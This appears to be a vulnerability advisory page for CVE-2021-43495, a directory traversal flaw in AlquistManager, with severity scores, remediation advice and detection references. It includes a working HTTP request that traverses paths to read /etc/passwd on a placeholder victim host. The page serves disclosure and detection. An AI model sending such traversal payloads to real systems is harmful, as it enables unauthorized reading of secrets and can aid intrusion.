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CVE-2021-43495: AlquistManager Local File Inclusion

TitleAlquistManager Local File Inclusion
Authorpikpikcu
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to sensitive information or remote code execution.
RemediationEnsure that user-supplied input is properly validated and sanitized before being used in file inclusion functions.
CVSS Score7.5
EPSS Score0.54584
CVE IDCVE-2021-43495
CWE IDCWE-22
Tags cve2021 cve lfi alquist alquistai vuln

🔍 Vulnerability Description

AlquistManager branch as of commit 280d99f43b11378212652e75f6f3159cde9c1d36 is affected by a directory traversal vulnerability in alquist/IO/input.py. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.

🌐 HTTP Request

GET /asd/../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-43495.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-43495.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A